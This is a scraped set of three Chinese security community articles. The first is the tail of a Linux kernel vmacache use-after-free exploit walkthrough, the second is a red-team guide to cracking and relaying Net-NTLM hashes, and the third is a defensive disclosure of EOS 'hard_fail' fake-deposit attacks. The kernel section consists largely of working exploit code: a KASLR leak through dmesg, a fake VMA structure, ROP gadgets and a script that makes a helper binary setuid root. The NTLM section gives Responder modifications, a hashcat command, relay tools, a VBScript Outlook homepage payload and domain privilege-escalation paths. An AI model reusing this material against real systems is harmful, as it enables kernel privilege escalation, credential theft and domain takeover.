pr_warn(" start=0x%lx end=0x%lx mm=0x%lxn",
vm_start, vm_end, vm_mm);
}
}
}
再看puppet.c
首先我们有一个全局变量sequence_mirror，用于标记mm_struct的seqnum的值
static void sequence_double_inc(void) {
mmap(FAST_WRAP_AREA + PAGE_SIZE, PAGE_SIZE, PROT_RW, MAP_PRIV_ANON|MAP_FIXED, -1, 0);
sequence_mirror += 2;
}
static void sequence_inc(void) {
mmap(FAST_WRAP_AREA, PAGE_SIZE, PROT_RW, MAP_PRIV_ANON|MAP_FIXED, -1, 0);
sequence_mirror += 1;
}
这两个函数分别用于将mm_struct->vmacache_seqnum的值分别增加2和1。具体的原理是
首先在main函数中创建一个三个页的匿名映射。之后通过带有MAP_FIXED的mmap去申请第一页或者中间页的映射。如果是中间页，则会munmap开头和结尾两页，造成seqnum的两次递增。之后再进行合并。同理，开头一页的话则会造成一次递增。
static void sequence_target(long target) {
while (sequence_mirror + 2 <= target)
sequence_double_inc();
if (sequence_mirror + 1 <= target)
sequence_inc();
}
这个函数用于将sequence_mirror递增到指定值。
再来说说利用代码里面的进程之间通信的机制：
int control_event_fd = eventfd(0, EFD_SEMAPHORE);
if (control_event_fd == -1) err(1, "eventfd");
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, control_fd_pair))
err(1, "socketpair");
pid_t child = fork();
if (child == -1) err(1, "fork");
if (child == 0) {
prctl(PR_SET_PDEATHSIG, SIGKILL);
close(kmsg_fd);
close(control_fd_pair[0]);
if (dup2(control_fd_pair[1], 0) != 0) err(1, "dup2");
close(control_fd_pair[1]);
if (dup2(control_event_fd, 1) != 1) err(1, "dup2");
execl("./puppet", "puppet", NULL);
err(1, "execute puppet");
}
close(control_fd_pair[1]);
int bpf_map = recvfd(control_fd_pair[0]);
分别创建了eventfd和socketpair。并切将其重新定向为0和1。前者用于将子进程阻塞，在主进程中实现了将fake
vma伪造完后发送信号让子进程继续去触发缺页异常，从而实现对控制流控制。后者定义了双向的套接字，用于将我们申请的bpf_map传回。bpf_map会在后文进行分析。
现在我们具体分析漏洞利用流程
在main函数中，我们在实现一系列初始化之后创建子进程，并在其中
execl("./puppet", "puppet", NULL);
在puppet中，我们首先申请一个三页的mmap匿名映射，用于增加mm—>vmacache_seqnum。
之后在不创建线程的前提下先将mm的seqnum更新为0x100000000L – VMA_SPAM_COUNT/2
sequence_cheat_bump(0xffff0000L);
sequence_target(0x100000000L - VMA_SPAM_COUNT/2);
之后我们申请5000个mmap映射，根据之前的分析，在slab分配器中也分配了5000个vm_area_struct。
for (unsigned long i=0; i<VMA_SPAM_COUNT; i++) {
mmap(VMA_SPAM_AREA + i * VMA_SPAM_DELTA, PAGE_SIZE, PROT_RW, MAP_PRIV_ANON, -1, 0);
}
紧接着我们mummap
VMA_SPAM_COUNT/2个映射。释放了5000个vm_area_struct到slab的freelist上。这时，mm->vmacache_seqnum已经被溢出变成了0。而且current->vmacache缓存数组保存着我们最后一次mummap所释放的vma结构。由于是但线程，所以并没有flush
vmacache数组给了我们use after free的条件。
for (unsigned long i=0; i<VMA_SPAM_COUNT/2; i++) {
munmap_noadjacent(VMA_SPAM_AREA + i * VMA_SPAM_DELTA, PAGE_SIZE);
}
之后，我们在没有调用任何vma_find的情况下，马上申请新的线程，在新线程中：
我们首先munmap掉5000个映射，也就是释放了5000个vma struct，这样，我们会将整个的vma slab全部变成free，从而将这个slab
释放回伙伴系统。
for (unsigned long i=VMA_SPAM_COUNT/2; i<VMA_SPAM_COUNT; i++) {
munmap_noadjacent(VMA_SPAM_AREA + i * VMA_SPAM_DELTA, PAGE_SIZE);
}
之后们通过bpf map，将包含着我们主线程vmacache缓存数组中没有flush的vma结构的一整页全部申请出来，这样就可以通过bpf
map去修改还没有flush的vma结构。之后我们触发一个缺页异常，回在主线程中调用我们的这个vma结构中的异常处理程序，从而实现执行流程的劫持。
struct bpf_map_create_args bpf_arg = {
.map_type = 2,
.key_size = 4,
.value_size = 0x1000,
.max_entries = 1024
};
int bpf_map = syscall(321, 0, (unsigned long)&bpf_arg, sizeof(bpf_arg), 0, 0, 0);
sendfd(0, bpf_map);
再来看bpf的特性：bpf会将分配的内存清空。这个特性正好帮助我们触发warn_on_once,以此来将信息dump到dmesg中，方便我们读取。
bpf具体的用法：
调用syscall(__NR_bpf, BPF_MAP_CREATE, &attr,
sizeof(attr))申请创建一个map，在attr结构体中指定map的类型、大小、最大容量等属性。
之后通过bpf函数带BPF_MAP_UPDATE_ELEM参数去更新内存的内容。
### 如何绕过kaslr？
如果写入eventfd将会触发usercopy，使R8仍然包含指向eventfd_fops结构的指针
syscall(1, sync_fd, 0x7fffffffd000, 8, 0, 0, 0);
并且我们通过vmacache_find()去搜索0x7fffffffd000是否在我们的vmacache缓存中。
我们来看4.18的vmacache_find函数
首先查看vma是否为null，因为我门之前的一系列工作，vma非空。之后warn_on_once,因为我们的bpfmap的申请已经把整页清零，所以这里一定会触发WARN_ON_ONCE(),仅会在第一次触发时打印调试信息，并且继续执行。因此这里的vma仅仅会返回null，并且回到红黑树查找，并不会将系统崩溃。如此，我们可以获得dmesg的各种调试信息。
vma的地址在rax中，mm_struct的地址位于rdi中，同时还有r8中泄漏的eventfd_fops用来绕过kaslr。
while (1) {
char *ptr;
int res = read(kmsg_fd, buf, sizeof(buf)-1);
if (res <= 0) err(1, "unexpected kmsg end");
buf[res] = '';
if (state == 0 && strstr(buf, "WARNING: ") && strstr(buf, " vmacache_find+")) {
state = 1;
printf("got WARNINGn");
}
if (state == 1 && (ptr = strstr(buf, "RSP: 0018:"))) {
rsp = strtoul(ptr+10, NULL, 16);
printf("got RSP line: 0x%lxn", rsp);
}
if (state == 1 && (ptr = strstr(buf, "RAX: "))) {
vma_kaddr = strtoul(ptr+5, NULL, 16);
printf("got RAX line: 0x%lxn", vma_kaddr);
}
if (state == 1 && (ptr = strstr(buf, "RDI: "))) {
mm = strtoul(ptr+5, NULL, 16);
printf("got RDI line: 0x%lxn", mm);
}
if (state == 1 && strstr(buf, "RIP: 0010:copy_user_generic_unrolled")) {
state = 2;
printf("reached WARNING part 2n");
}
if (state == 2 && (ptr = strstr(buf, "R08: "))) {
eventfd_fops = strtoul(ptr+5, NULL, 16);
printf("got R8 line: 0x%lxn", eventfd_fops);
state = 3;
}
if (state > 0 && strstr(buf, "---[ end trace"))
break;
}
### rop chain
利用我们之前通过dmesg泄漏的地址，最终我们需要伪造一个vma结构，其中的几个关键点是：vm_start和vm_end,vm_start必须设置0x7fffffffd000或者是随便一块没有被映射的区域，这样我们在解应用这块区域去触发页错误的时候，我们会找到我们伪造的vma。
第二个关键点是vm_ops，我们将会在子进程中调用eventfd来阻塞，直到我们在将fake
vma写入到我们的bpf之后，在阻塞完毕之后，主进程再次阻塞。这个时候我们的子进程解引用一个没有建立页表映射的内存位置，触发缺页异常。因为我们之前已经伪造了vm_start，这个时候我们会触发
__do_fault函数，在其中调用我们伪造的vma的vm_ops的falut函数。
我们仔细来看伪造的vm_area_struct和payload。
char kernel_cmd[8] = "/tmp/%1";
struct vm_area_struct fake_vma = {
.vm_start = 0x7fffffffd000,
.vm_end = 0x7fffffffe000,
.vm_rb = {
.__rb_parent_color =
(eventfd_fops-0xd92ce0), //run_cmd: 0xffffffff810b09a0
.rb_right = vma_kaddr
+ offsetof(struct vm_area_struct, vm_rb.rb_left)
/*rb_left reserved for kernel_cmd*/
},
.vm_mm = mm,
.vm_flags = VM_WRITE|VM_SHARED,
.vm_ops = vma_kaddr
+ offsetof(struct vm_area_struct, vm_private_data)
- offsetof(struct vm_operations_struct, fault),
.vm_private_data = eventfd_fops-0xd8da5f,
.shared = {
.rb_subtree_last = vma_kaddr
+ offsetof(struct vm_area_struct, shared.rb.__rb_parent_color)
- 0x88,
.rb = {
.__rb_parent_color = eventfd_fops-0xd9ebd6
}
}
};
vm_ops的位置是
.vm_ops = vma_kaddr
+ offsetof(struct vm_area_struct, vm_private_data)
- offsetof(struct vm_operations_struct, fault),
vma_kaddr的值就是我们通过dmesg获得的已经失效的vma缓存的地址，也就是我们将要通过bpf伪造的vma，这样的话我们调用vm->vm_ops->fault就是等于调用了
vma_kaddr + offsetof(struct vm_area_struct,
vm_private_data)，而这个值在我们伪造的vma中是vm_private_data，我们已经将其伪造成了内核rop：
ffffffff810b5c21: 49 8b 45 70 mov rax,QWORD PTR [r13+0x70]
ffffffff810b5c25: 48 8b 80 88 00 00 00 mov rax,QWORD PTR [rax+0x88]
ffffffff810b5c2c: 48 85 c0 test rax,rax
ffffffff810b5c2f: 74 08 je ffffffff810b5c39
ffffffff810b5c31: 4c 89 ef mov rdi,r13
ffffffff810b5c34: e8 c7 d3 b4 00 call ffffffff81c03000 <__x86_indirect_thunk_rax>
<__x86_indirect_thunk_rax>就是等于是 call
rax，而rax的值是r13+0x88，r13的值就是我们伪造的vma的地址。也就是call vma struct+0x88的位置，
在这个位置是
.rb = {
.__rb_parent_color = eventfd_fops-0xd9ebd6
}
我们放上来另一个内核rop
ffffffff810a4aaa: 48 89 fb mov rbx,rdi
ffffffff810a4aad: 48 8b 43 20 mov rax,QWORD PTR [rbx+0x20]
ffffffff810a4ab1: 48 8b 7f 28 mov rdi,QWORD PTR [rdi+0x28]
ffffffff810a4ab5: e8 46 e5 b5 00 call ffffffff81c03000<__x86_indirect_thunk_rax>
这里我们将call
vma+0x20,参数是vma+0x28,我们已经在结构中伪造了将vma+0x20是run_cmd,vma+0x28也就是vm_rb.rb_left的值是”/tmp/%1”
而这里面我们早就写入了
char *suid_tmpl = "#!/bin/shn"
"chown root:root ./suidhelpern"
"chmod 04755 ./suidhelpern"
"while true; do sleep 1337; donen";
这样直接给suidhelper以root权限。
之后我们伪造一个fake page，offset的值是
if (offset + sizeof(fake_vma) <= 0x1000) {
memcpy(fake_vma_page + offset, &fake_vma, sizeof(fake_vma));
} else {
size_t chunk_len = 0x1000 - offset;
memcpy(fake_vma_page + offset, &fake_vma, chunk_len);
memcpy(fake_vma_page, (char*)&fake_vma + chunk_len, sizeof(fake_vma) - chunk_len);
}
offset的值我们通过
long offset = (vma_kaddr - 0x90/*compensate for BPF map header*/) & 0xfff;
得倒，因为我们要的是在这个页中的偏移位置，所以需要 &0xfff就是在这个页的偏移量。但是还需要减去0x90 bpf map header，因为bpf
update的时候会自动加上偏移量。
这样我们需要的东西已经全部准备好，直接通过
bpf_(BPF_MAP_UPDATE_ELEM, &update_attr)
将伪造好的页写入到内核，即可将我们在vmacache中的vma覆盖掉。之后通过触发缺页异常去执行vm_ops->的fault，从而实现整个rop chain
的利用。之后我们的主进程虽然会崩溃掉，但是我们已经以root权限打开了新的可执行文件sulidhelper，在其中弹出一个shell，实现了内核态的提权。
## 参考链接
<https://googleprojectzero.blogspot.com/2018/09/a-cache-invalidation-bug-in-linux.html> | 社区文章 |
# Windows内网协议学习NTLM篇之Net-NTLM利用
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：daiker@360RedTeam
## 0x00 前言
在上一篇文章[Windows内网协议学习NTLM篇之发起NTLM请求](https://www.anquanke.com/post/id/193493)里面,讲了12种发起NTLM请求的方式。这篇文章接着上文，主要讲解拿到NTLM
请求之后的进一步利用。有Net-NTLM Hash的破解(v1 和 v2)以及Relay到支持NTLM SSP的协议，事实上，只要是支持NTLM
SSP的协议，都可以Relay过去，本文主要讲的是几种比较常遇到，且能达到命令执行效果的，SMB,EWS,LDAP。
## 0x01 Net-NTLM Hash的破解
### 1\. Net-NTLM v1 的破解
先上结论。只要获取到Net-NTLM v1，都能破解为NTLM hash。与密码强度无关。
具体操作如下。
1. 修改Responder.conf里面的Challenge为1122334455667788(使用[SpiderLabs版本](https://github.com/SpiderLabs/Responder)的 话默认是1122334455667788，但该版本已经停止更新了，建议使用[lgandx版本](https://github.com/lgandx)，这一版本默认为Random，需要修改)
2. 将type2里面的NTLMSSPNEGOTIATEEXTENDED_SESSIONSECURITY位置0。
如果知道发来的请求一定是SMB 协议的话，Responder里面加上–lm参数即可，
其他协议就得去找改协议发送type2 处的代码，修改NegoFlags位。
比如Http协议的话，需要修改packets.py里面的NTLM_Challenge类。
原来是NegoFlags的值是\x05\x02\x89\xa2，改成\x05\x02\x81\xa2
3. 然后获取到Net-NTLM v1。再使用[ntlmv1-multi](https://github.com/evilmog/ntlmv1-multi)里面的ntlmv1.py转换.
获取到Net-NTLM
v1是win10::WIN10-1:F1586DA184365E9431C22EF206F5A2C918659E1B1FD7F64D:F1586DA184365E9431C22EF206F5A2C918659E1B1FD7F64D:1122334455667788
转化完的格式就是NTHASH:F1586DA184365E9431C22EF206F5A2C918659E1B1FD7F64D
4. 再将转化完的格式用[crack.sh](https://crack.sh/get-cracking/)破解即可。
下面简要探究下原理，如果没有兴趣的可以直接跳过。看下一小节。
之前在[NTLM基础介绍](https://www.anquanke.com/post/id/193149)里面有简单介绍了下Net-NTLM
v1的加密方式
将 16字节的NTLM hash空填充为21个字节，然后分成三组，每组7字节，作为3DES加密算法的三组密钥，加密Server发来的Challenge。
将这三个密文值连接起来得到response。
但是在实践中发现，加密方式的表述是有点问题的，或者说是不完整的。上面的只是Net-NTLM v1的一种加密方式，Net-NTLM
v1还有另外一种加密方式。我们下面来探讨下这两种加密方式以及利用
（1）加密方式1
就是前面提到的那种。
1. 将 16字节的NTLM hash空填充为21个字节，然后分成三组，每组7字节
2. 将三组(每组7字节)经过运算后作为DES加密算法的密钥
运算的细节是每组七个字节再转化为8小组，每个小组7个比特位。然后7个比特位进行奇偶校验后算出第8个比特位，刚好是1个字节，8个小组，每小组一个字节，凑成8个字节的密钥。
3. 加密Server Challenge
4. 将这三个密文值连接起来得到response。
在Responder如果想获取到这种加密方式的话，要加上参数–lm(仅限于smb 协议)
那这种加密方式存在什么问题呢。
总共三组，每组8个字节作为key，加密Server Challenge获取response。
每组可以分开计算，已知加密内容和加密后的密文算key。使用des算法，key是八个字节。
我们控制Server
Challenge为1122334455667788，然后建立从key到response的彩虹表。就可以在知道response的情况下获取key。所幸[crack.sh](https://crack.sh/get-cracking/)这个网站已经帮我们弄好了，在Challenge为1122334455667788的情况下。一分钟之内就能获取ntlm
hash，而且是免费的。这也是我们为啥要把Challenge设置为1122334455667788，而不是随机。
具体操作是
使用[ntlmv1-multi](https://github.com/evilmog/ntlmv1-multi)里面的ntlmv1.py转换.然后复制NTHASH:E0F8C5B5E45247B4175698B99DBB5557CCD9241EA5A55CFB到[crack.sh](https://crack.sh/get-cracking/)破解，填上邮箱，等到一分钟左右就能收到ntlm hash了。
（2）加密方式2
跟第一种加密方式基本一样。最本质的区别就在于，第一种加密方式的加密内容是Server Challenge。而这种加密方式是拼接8字节Server
Challenge和8字节Client Challenge后，求其MD5，然后取MD5值的前8字节做为加密内容。
我们可以控制Server Challenge为固定的值，但是没法控制Client Challenge的值。也就是说我们没法控制加密的内容为固定的值。
第一种是加密的内容为固定的1122334455667788的话，我们只需要建立从key到response的映射就行。而这种加密方式的话。加密的内容也是不固定的，计算的成本高多了。
在Responder默认获取到的就是这种加密方式(没有加–lm)
使用[ntlmv1-multi](https://github.com/evilmog/ntlmv1-multi)里面的ntlmv1-ssp.py转换.
到[crack.sh](https://crack.sh/get-cracking/)破解。这种方式要钱的，而且还不一定能解的出来。
总而言之，这种加密方式不好破解，其实我们也可以不让客户端不用这种加密方式，就使用第一种加密方式。且看下面的分析。
在我们的Responder加上–lm的情况下获取到的Net-NTLM v1
hash是采用第一种加密方式，但是只针对smb协议有效，在我的测试中，即使加了–lm参数，收到的请求是Http协议的情况底下，拿到的Net-NTLM
v1也是采用第二种加密方式，我们不好破解。所以我又去研究了下什么情况底下采用第一种加密方式，什么情况底下采用第二种加密方式。
在这篇[文章](%5bhttp:/d1iv3.me/2018/12/08/LM-Hash%E3%80%81NTLM-Hash%E3%80%81Net-NTLMv1%E3%80%81Net-NTLMv2%E8%AF%A6%E8%A7%A3/%5d\(http:/d1iv3.me/2018/12/08/LM-Hash%E3%80%81NTLM-Hash%E3%80%81Net-NTLMv1%E3%80%81Net-NTLMv2%E8%AF%A6%E8%A7%A3/\))里面有提及到,当ntlm的flag位NTLMSSPNEGOTIATEEXTENDED_SESSIONSECURITY置为1的情况底下，会采用第二种加密方式，否则就会采用第一种加密方式，我们可以看下impacket里面计算Net-NTLM v1的相关代码
可以很清楚的看到，当NTLMSSPNEGOTIATEEXTENDED_SESSIONSECURITY位置为1的时候，加密的内容不是server
challenge，而是md5 hash 运算过的server challeng+client challent的前8位。也就是说是第二种加密方式。
那NTLMSSPNEGOTIATEEXTENDEDSESSIONSECURITY
flag来自于哪里呢。我们知道ntlm分为type1，type2，type3。计算response就在type
3里面，NTLMSSPNEGOTIATEEXTENDEDSESSIONSECURITY flag位就来自于type2。而type 2
里面的内容正常就是我们返回给客户端的。
也就是说，客户端选择加密方式1还是加密方式2，这个是由我们可以控制的。只需要我们把NTLMSSPNEGOTIATEEXTENDED_SESSIONSECURITY位置为0，那么客户端就会选择加密方式1.并且Server
Challenge为1122334455667788的情况下。我们用crack.sh快速免费有效得破解。获取到用户的NTLM Hash。
那怎么将NTLMSSPNEGOTIATEEXTENDEDSESSIONSECURITY位置为0，我们一般都是使用现成的工具Resonder来获取Net-NTLM Hash。之前说过加上–lm参数就可以将NTLMSSPNEGOTIATEEXTENDEDSESSIONSECURITY位置为0。
这个时候还有一个小问题没有解决，那就是Resonder加上–lm，为什么只针对smb 协议有效。其他协议无效。
我去读了下Responder的代码。
加上–lm参数之后，调用的模块就是SMB1LM
发现她用的是老板本的smb实现。而这个版本的实现是在smb
协商版本的时候就将challenge返回，并且将NTLMSSPNEGOTIATEEXTENDED_SESSIONSECURITY置为0.
而且也仅仅是实现了smb协议，并没有实现其他协议。
但是完全可以不用老板本的smb实现。这里面最本质的地方在于NTLMSSPNEGOTIATEEXTENDED_SESSIONSECURITY置为0.而这个flag位并不一定需要用到旧版本的smb才能置位。只需要修改NTLM
SSP里面的flag位就行
在各个协议里面的NTLM SSP里面，修改flag位，我们找到Responder里面type2的NTLM SSP的flag位赋值的地方即可。
Responder里面的NTLM SSP实现没有通用性。比如smb部分的实现，在packets.py里面的SMBSession1Data类里面。
默认是0xe2898215(跟图里面不一样?大端小端)
NTLMSSPNEGOTIATEEXTENDED_SESSIONSECURITY对应的是第13位，改为0，也就是0xe2818215
改下就行
http的话在packets.py里面的NTLM_Challenge类里面
Responder的NTLM SSP没有通用性，这个挺难受的，其他协议的话，大家自己找吧。跟下代码挺快的。
### 2\. Net-NTLM v2的破解
Net-NTLM v2 现在也没有什么比较好用的破解方式，一般就是利用hashcat 离线爆破明文密码，能不能跑出来就看字典里面有没有了。
使用hashcat进行字典破解
hashcat -m 5600 win10::TEST:1122334455667788:622DED0816CFF5A0652209F20A7CF17A:0101000000000000C0653150DE09D201532C07A7DEE654B8000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D2010600040002000000080030003000000000000000010000000020000067840C88904F15E659858A3CBA35EBEF61A38EC88C5E3D26B968F1C20C9ACAC10A001000000000000000000000000000000000000900220063006900660073002F003100370032002E00310036002E003100300030002E0031000000000000000000 /tmp/password.dic --force
## 0x02 Relay
在Net-NTLM Hash的破解里面，如果是v1的话，拿到Net-NTLM就相当于拿NTLM
HASH.这个时候就没有Relay的必要性了，但是在实际中遇到的例子往往不会是v1，而是v2。这个时候密码强度高一点，基本就跑不出来了，这种情况底下，不妨试一试Relay。
### 1\. Relay2SMB
能直接relay到smb服务器，是最直接最有效的方法。可以直接控制该服务器(包括但不限于在远程服务器上执行命令，上传exe到远程命令上执行，dump
服务器的用户hash等等等等)。
主要有两种场景
1. 工作组环境
这个实用性比较差。在工作组环境里面，工作组中的机器之间相互没有信任关系，每台机器的账号密码Hash只是保存在自己的SAM文件中，这个时候Relay到别的机器，除非两台机器的账号密码一样(如果账号密码一样，我为啥不直接pth呢)，不然没有别的意义了，这个时候的攻击手段就是将机器reflect回机子本身。因此微软在ms08-068中对smb
reflect到smb 做了限制。这个补丁在CVE-2019-1384(Ghost Potato)被绕过。将在下篇文章里面详细讲。
2. 域环境
域环境底下域用户的账号密码Hash保存在域控的
ntds.dit里面。如下没有限制域用户登录到某台机子，那就可以将该域用户Relay到别人的机子，或者是拿到域控的请求，将域控Relay到普通的机子，比如域管运维所在的机子。(为啥不Relay到其他域控，因为域内就域控默认开启smb签名)
下面演示使用几款工具在域环境底下，从域控relay到普通机器执行命令
1. impacket 的底下的smbrelayx.py
2. impacket 的底下的ntlmrelayx.py
3. Responder底下的MultiRelay.py
### 2\. Relay2EWS
Exchange的认证也是支持NTLM
SSP的。我们可以relay的Exchange，从而收发邮件，代理等等。在使用outlook的情况下还可以通过homepage或者下发规则达到命令执行的效果。而且这种Relay还有一种好处，将Exchange开放在外网的公司并不在少数，我们可以在外网发起relay，而不需要在内网，这是最刺激的。
下面演示通过[NtlmRelayToEWS](https://github.com/Arno0x/NtlmRelayToEWS.git)(事实上，工具挺多的。其他的大家可以上github自己找)来实现Relay2ews
配合homepage 能够实现命令执行的效果
homepage的简易demo代码如下
<html>
<head>
<meta http-equiv="Content-Language" content="en-us">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>Outlook</title>
<script id=clientEventHandlersVBS language=vbscript>
<!-- Sub window_onload()
Set Application = ViewCtl1.OutlookApplication
Set cmd = Application.CreateObject("Wscript.Shell")
cmd.Run("calc")
End Sub
-->
</script>
</head>
<body>
<object classid="clsid:0006F063-0000-0000-C000-000000000046" id="ViewCtl1" data="" width="100%" height="100%"></object>
</body>
</html>
放置于web服务器。在[NtlmRelayToEWS](https://github.com/Arno0x/NtlmRelayToEWS.git)
里面通过-u 参数指定。
### 3\. Relay2LDAP
不管是杀伤力巨大的8581还是1040。Relay到ldap都在里面发挥着巨大的作用。
relay 到ldap的话，能干嘛呢
这里着重介绍三种通用性比较强的利用思路。这三种在impacket里面的ntlmrelayx都有实现。(这三种通用性比较强而已，实际中这个的利用比较灵活，需要通过
nTSecurityDescriptor分析用户在域内对哪些acl有权限，什么权限。关于acl怎么深入利用,这里不再展开，后面在ldap篇会详细说明)
1. 高权限用户
如果NTLM发起用户在以下用户组
* Enterprise admins
* Domain admins
* Built-in Administrators
* Backup operators
* Account operators
那么就可以将任意用户拉进该组，从而使该用户称为高权限用户，比如域管
2. write-acl 权限
如果发起者对域有write-acl 权限，那么就可以在域内添加两台acl
'DS-Replication-Get-Changes' = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
'DS-Replication-Get-Changes-All' = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
acl的受托人可以是任意用户，从而使得该用户可以具备dcsync的权限
这个案例的典型例子就是Exchange Windows Permissions组，我们将在下一篇介绍8581的 时候详细说下这个用户组的权限。
3. 普通用户权限
在server2012r2之后，如果没有以上两个权限。可以通过设置基于资源的约束委派。
在NTLM发起者属性msDS-AllowedToActOnBehalfOfOtherIdentity里面添加一条ace,可以让任何机器用户和服务用户可以控制该用户(NTLM发起者)。
## 0x03 引用
[LM-Hash、NTLM-Hash、Net-NTLMv1、Net-NTLMv2详解](http://d1iv3.me/2018/12/08/LM-Hash%E3%80%81NTLM-Hash%E3%80%81Net-NTLMv1%E3%80%81Net-NTLMv2%E8%AF%A6%E8%A7%A3/)
[The NTLM Authentication Protocol and Security Support
Provider](http://davenport.sourceforge.net/ntlm.html) | 社区文章 |
# EOS假充值（hard_fail 状态攻击）细节披露与修复方案
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
by 慢雾安全团队
## 披露时间线
2019 年 3 月 10 日，我们捕获了 EOS DApp 上的一种新型攻击手法，一个帐号名为 fortherest12 的攻击者通过 hard_fail
状态攻击手法攻击了 EOS 游戏 Vegas town ，并造成了一定数量的损失。
2019 年 3 月 10 日，我们注意到出现了数量更多的 hard_fail 类型攻击。
2019 年 3 月 11 日，我们披露了相关的攻击手法，但是没有披露具体的攻击细节，并及时联系了相关的交易所以及项目方。
2019 年 3 月 12 日，我们发布红色预警，提醒交易所和钱包需要对 EOS 交易执行状态进行校验，必要时可暂停充提系统。
2019 年 3 月 13 日，预警得到 EOS New York 及 Block.one 的 BM 等核心成员响应及认可。
2019 年 3 月 14 日，细节正式公开。
## 漏洞细节
参考官方文档，可以得知 EOS 交易的执行状态存在多种，相应的类别及相应的描述分别为：
1. executed：交易正确执行，没有触发 error handler
2. soft_fail：交易客观失败(没有执行)，但正确触发 error handler
3. hard_fail：交易客观失败，但没有触发 error handler
4. delayed：交易延迟/deferred/在队列中待执行
5. expired：交易过期
此次的攻击手法就是利用了上述状态中的 hard_fail
状态进行攻击，在以前的开发过程中，许多开发者都不曾碰到过这种交易执行状态，常规的区块浏览器上也无法查询到相关的交易，造成了开发者缺少对这种交易状态的认知。开发中的惯常思维也是只有合约才能发起延时交易。但是，通过
cleos 中的具体参数配置 delay-sec 参数：
即使使用非合约帐号也能正常发起 delay 交易，针对使用中心化开奖的 DApp 项目方或使用中心化管理的交易所及钱包，如果没有对 EOS
交易的执行状态进行校验，就有可能出现 “假充值” 攻击，攻击者不需要付出任何成本，却可以获得大量的
EOS。这是一种全新的攻击手法，而且也是大家十分容易忽略的点，但是导致的危害却是巨大的。对于这种手法，我们已经捕获到真实攻击，并成功阻止了一起损失金额以人民币亿为单位的攻击及多起巨额损失。但遗憾的是，还是存在几起被成功攻击的事件，这个超出了我们的能力，我们的客户或伙伴只是这个生态里的一小部分而已。
基于上述情况，我们于 3 月 12 日发布了我们的红色预警，但由于我们的翻译不够严谨，在 EOS 社区引起了恐慌，让 EOS 社区误以为这是 EOS
的漏洞，我们对此致以歉意。EOS
社区的一些成员认为，只要交易所及钱包做好相关的检查，并不会出现此类问题。但是我们很难要求所有程序员都能写出最佳安全实践的代码，当出现不严谨的校验方式便会导致攻击发生。
经过我们的分析，我们更倾向于 transaction status 属于 EOS 的一种特性(features)，历史上曾经出现多例与特性相关的 “假充值”
漏洞。
如我们主导披露的：
USDT 虚假转账安全风险分析
以太坊代币“假充值”漏洞细节披露及修复方案
及我们参与披露的：
XRP 官方披露的假充值漏洞及相关分析
这些问题都不是链自己本身的漏洞，但是由于链自己本身的特性的原因，以及开发者对此类特性校验的不严谨从而导致了攻击的发生。这就是我们为什么会发布红色预警。这不是恐吓(FUD)，更像是一种容易被人忽略的攻击手法。此类攻击手法之前在
EOS 上没有相同的攻击案例，但在我们公布相关的攻击手法后，根据我们联合 EOSPark 的数据分析系统发现，已经有十几个帐号开始分别对
DApp、交易所以及钱包作出攻击测试，这些帐号有：
bobukulabobu
cuancuan2323
testsuperdex
zhangjiayiba
justjiezhan1
wnze2qwdiyne
havls3k3iyge
ha11w4zzmpge
wkdoptxcjvdn
xmqukuailian
allosauruses
ccholr1ub2ku
walletthomas
fuckhakcer.x
johnwickteam
eosiotokenio
peospeospeos
eczpfezhvnrk
等等其他帐号
其中不乏攻击成功的帐号。因此，我们继续发出后续预警，提醒相关项目方做好防范措施。除此之外，Twitter 帐号 Whale Alert
也关注到了此类攻击行为。Whale Alert 官方帐号在 3 月 11 日发布推文称帐号 fuckhacker.x 转账 1 万亿
EOS，随后被官方证明为虚假交易。可见此次攻击波及范围之广。应引起足够的重视。
## 修复方案
针对此类型的交易，相关项目方以及交易所及钱包需要对 EOS 转账的执行状态进行校验，确保交易执行状态为
“executed”，除此之外，在区块不可逆的情况下，也要做到以下几点防止其他类型的 “假充值” 攻击的发生
1. 判断 action 是否为 transfer
2. 判断合约账号是否为 eosio.token 或其它 token 的官方合约账号
3. 判断代币名称及精度
4. 判断金额
5. 判断 to 是否是自己平台的充币账号
## 后记 Q&A
Q：节点开启 read only 模式能防范此类攻击吗？
A：根据官方文档对 read only 模式的描述
节点开启 read only 模式后可以查询到线上记录并存在的确认的交易。而此类攻击手法是先发出 defer 交易，defer
交易是在链上保存的真实存在的交易，随后这笔交易才会转变成 hard_fail，所以开启 read only 模式并不能防御此类攻击手法。交易的状态是从
delay 转变成 hard_fail，并不是回滚，这是需要注意的地方。
Q：为什么我在其他的区块浏览器上，如 EOSX 等不能查询到 hard_fail 交易？
A：现有的查询交易是通过 EOS 的历史插件 history plugin 来查询的，而根据 history plugin 的代码实现
可以发现，除了 executed 和 soft_fail 交易外其他交易都无法查询到。
Q：是否使用 history plugin 获取交易即可避免此类攻击？
A：无法保证，不同的节点 history plugin 插件的实现方式不一，不排除节点提供方自己修改 history plugin
实现，导致查询到的交易存在除 exectued 及 soft_fail 外的其他状态。
Q：交易所及钱包等项目方平台该如何配置他们自己的节点免受攻击？
A：使用默认的 history plugin 配置，除此之外检查 EOS 转账的交易状态，确保交易执行状态为
“executed”。同时，也需要判断以下几点防止其他类型的 “假充值”
1. 判断 action 是否为 transfer
2. 判断合约账号是否为 eosio.token 或其它 token 的官方合约账号
3. 判断代币名称及精度
4. 判断金额
5. 判断 to 是否是自己平台的充币账号
这些点都是曾在历史上出现过问题的点，我们认为 EOS 生态是一个很强大，灵活的全新的生态，从 EOS
主网启动以来，我们参与了许多的安全应急事件，开发者想在这个生态内安全的发展的确是一件充满挑战的事情。需要做好各方面的安全检查，才能确保资产不受损失。
## 结语
我们希望阅读此文的 EOS 生态中的用户不要模仿文中的攻击手法，我们无意对 EOS 社区造成恐慌。慢雾安全团队本着为 EOS
生态带来更多的安全感为宗旨，及时披露相关安全事件细节，目的是为了 EOS
生态中的更多成员获得安全保障。相关项目方应及时做好充提系统的安全保障，落实对应的风控策略，保障自身财产的安全。
## 相关参考
How to monitor state with State History Plugin：
